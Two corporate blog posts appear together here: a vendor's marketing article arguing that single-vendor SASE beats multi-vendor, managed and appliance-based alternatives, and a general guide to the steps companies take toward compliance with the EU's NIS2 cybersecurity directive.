Single Vendor SASE vs. the Alternatives: Navigating Your Options SASE sets the design guidelines for the convergence of networking and security as a cloud service. With SASE, enterprises can achieve operational simplicity, reliability, and adaptability. Unsurprisingly, since Gartner defined SASE in 2019, vendors have been repositioning their product offerings as SASE. So, what are the differences between the recommended single-vendor SASE approach and other SASE alternatives? Let’s find out.
This blog post is based on the e-book “Single Vendor SASE vs. Other SASE Alternatives”, which you can read here.
What is SASE?
The disappearance of traditional network boundaries in favor of distributed network architectures, with users, applications, and data spread across various environments, has created greater complexity and increased risk. Consequently, enterprises dealt with increased operational costs, expanding security threats, and limited visibility.
SASE is a new architectural approach that addresses current and future enterprise needs for high-performing connectivity and secure access for any user to any application, from any location.
Per Gartner, the fundamental SASE architectural requirements are:
Convergence - Networking and security are converged into one software that simultaneously handles core tasks, such as routing, inspection, and enforcement while sharing context.
Identity-driven - Enforcing ZTNA that is based on user identities and granular access control to resources.
Cloud-native - Cloud-delivered, multi-tenant, and with the ability to elastically scale. Usually, this means a microservices architecture.
Global - Availability around the globe through PoPs (Points of Presence) that are close to users and applications.
Support all Edges - Serving all branches, data centers, cloud, and remote users equally through a uniform security policy, while ensuring optimal application performance.
In addition, a well-designed SASE solution should be controllable through a single management application. This streamlines the processes of administration, monitoring, and troubleshooting.
Common SASE Architectures
Today, many vendors are offering “SASE”. However, not all SASE is created equal or offers the same solutions for the same use cases and in the same way. Let's delve deeper into a quick comparison of each SASE architecture and unveil their differences.
[boxlink link="https://www.catonetworks.com/resources/cato-sase-vs-the-sase-alternatives/"] Cato SASE vs. The SASE Alternatives | Download the eBook [/boxlink]
1. Single-vendor SASE
A single-vendor SASE provider converges network and security capabilities into a single cloud-delivered service. This allows businesses to consolidate different point products, eliminate appliances, and ensure consistent policy enforcement.
In addition, event data is stored in a single data lake. This shared context improves visibility and the effective enforcement of security policies. Additionally, centralized management makes it easier to monitor and troubleshoot network & security issues. This makes SASE simple to use, boosts efficiency, and ensures regulatory compliance.
2. Multi-vendor SASE
A multi-vendor SASE involves two vendors that provide all SASE functionalities, typically combining a network-focused vendor with a security-focused one. This setup requires integration to ensure the solutions work together, and to enable log collection and correlation for visibility and management. This approach requires multiple applications. While it can achieve functionality similar to a single-vendor system, the increased complexity often results in reduced visibility, and lack of agility and flexibility.
3. Portfolio-vendor SASE (Managed SASE)
A portfolio-vendor SASE is when a service provider delivers SASE by integrating various point solutions, including a central management dashboard that uses APIs for configuration and management. While this model relieves the customer from handling multiple products, it still brings the complexity of managing a diverse SASE infrastructure. In addition, MSPs choosing this approach may face longer lead times for changes and support, adversely impacting an organization’s agility and flexibility.
4. Appliance-based SASE
Appliance-based SASE, often pitched by vendors that are still tied to legacy on-premise solutions, typically routes remote users and branch traffic through a central on-site or cloud data center appliance before it reaches its destination. Although this approach may combine network and security features, its physical nature and backhauling of network traffic can adversely affect flexibility, performance, efficiency and productivity. It's a proposition that may sound appealing but has underlying limitations.
Which SASE Option Is Best for Your Enterprise?
It might be challenging to navigate the different SASE architectures and figuring out the differences between them. In the e-book, we present a concise comparison table that maps out the SASE architectures according to Gartner’s SASE requirements.
The bottom line: a single-vendor SASE is most equipped to answer enterprises’ most pressing challenges:
Network security
Agility and flexibility
Efficiency and productivity
This is enabled through:
Convergence - eliminating the need for complex integrations and troubleshooting.
Identity-driven approach - for increased security and compliance.
Cloud-native architecture - to ensure support for future growth.
Global availability - to enhance productivity and support global activities and expansion.
Support for all edges - one platform and one policy engine across the enterprise to enhance security and efficiency.
According to Gartner, by 2025, single-vendor SASE offerings are expected to constitute one-third of all new SASE deployments. This is a significant increase from just 10% in 2022. How does your enterprise align with this trend? Are you positioned to be part of this growing movement?

Achieving NIS2 Compliance: Essential Steps for Companies Introduction
In an increasingly digital world, cybersecurity has become a critical concern for companies. With the rise of sophisticated cyber threats, protecting critical infrastructure and ensuring the continuity of essential services has become a top priority. The EU’s Network and Information Security Directive (NIS2), which supersedes the previous directive from 2016, establishes a framework to enhance the security and resilience of network and information systems. In this blog post, we will explore the key steps that companies need to take to achieve NIS2 compliance.
Who needs to comply with NIS2?
The first step towards NIS2 compliance is to thoroughly understand the scope of the directive and its applicability to your organization. It is critical to assess whether your organization falls within the scope and to identify the relevant requirements.
For non-compliance with NIS regulations, companies providing essential services such as energy, healthcare, transport, or water may be fined up to £17 million in the UK and €10 million or 2% of worldwide turnover in the EU.
NIS2 will apply to any organisation with more than 50 employees whose annual turnover exceeds €10 million, and any organisation previously included in the original NIS Directive.
The updated directive now also includes the following industries:
Electronic communications
Digital services
Space
Waste management
Food
Critical product manufacturing (i.e. medicine)
Postal services
Public administration
Industries included in the original directive will remain within the remit of the updated NIS2 directive. Some smaller organizations that are critical to the functioning of a member state will also be covered by NIS2.

Achieving Compliance
NIS2 introduces more stringent security requirements. It requires organizations to implement both organizational and technical measures to safeguard their networks and information systems. This includes measures such as risk management, incident detection and response, regular security assessments, and encryption of sensitive data.
By adopting these measures, organisations can significantly enhance their overall security posture.
Let’s have a closer look at the key steps to achieve NIS2 compliance:
Perform a Risk Assessment
Conduct a detailed risk assessment to identify potential vulnerabilities and threats to your network and information systems. This assessment should cover both internal and external risks, such as malware attacks, unauthorized access, human errors, and natural disasters. Understanding the specific risks your organization faces will help you design effective security measures.
Establish a Security Governance Framework
Develop a robust security governance framework that outlines the roles, responsibilities, and processes necessary to achieve and maintain NIS2 compliance. Assign clear accountability for cybersecurity at all levels of your organization and establish protocols for risk management, incident response, and communication.
Implement Security Measures
Implement appropriate technical and organizational security measures to protect your network and information systems. Ensure that they are regularly reviewed, updated, and tested to address evolving threats. Example measures include access controls using multi-factor authentication, encryption using services like PKI certificates to secure networks and systems, regular vulnerability assessments, intrusion detection and prevention systems, and secure software development practices..
Supply chain security
Assess suppliers, service providers, and even data storage providers for vulnerabilities. NIS2 requires that companies thoroughly understand potential risks, establish close relationships with partners, and consistently update security measures to ensure the utmost protection.
Incident Response and Reporting
Establish a well-defined incident response plan to address and mitigate cybersecurity incidents promptly. This plan should include procedures for identifying, reporting, and responding to security breaches or disruptions. Designate responsible personnel and establish communication channels to ensure swift and effective incident response.
NIS2 compliant organizations must report cybersecurity incidents to the competent national authorities. They must submit an “early warning” report within 24 hours of becoming aware of an incident, followed by an initial assessment within 72 hours, and a final report within one month.
Business Continuity
Implement secure backup and recovery procedures to ensure the availability of key services in the event of a system failure, disaster, data breaches or other cyber-attacks. Backup and recovery measures include regular backups, testing backup procedures, and ensuring the availability of backup copies.
Collaboration and Information Sharing
Establish a culture of proactive information exchange related to cyber threats, incidents, vulnerabilities, and cybersecurity practices. NIS2 recognizes the significance of sharing insights into the tools, methods, tactics, and procedures employed by malicious actors, as well as preparation for a cybersecurity crisis through exercises and training.
Foster collaboration and information sharing with relevant authorities, sector-specific CSIRTs (Computer Security Incident Response Team), and other organisations in the same industry. NIS2 encourages structured information-sharing arrangements to promote trust and cooperation among stakeholders in the cyber landscape. The aim is to enhance the collective resilience of organizations and countries against the evolving cyber threat landscape.
Compliance Documentation and Auditing
Maintain comprehensive documentation of your NIS2 compliance efforts, including policies, procedures, risk assessments, incident reports, and evidence of security measures implemented. Regularly review and update these documents to reflect changes in your organization or the threat landscape. Consider engaging independent auditors to evaluate your compliance status and provide objective assessments.
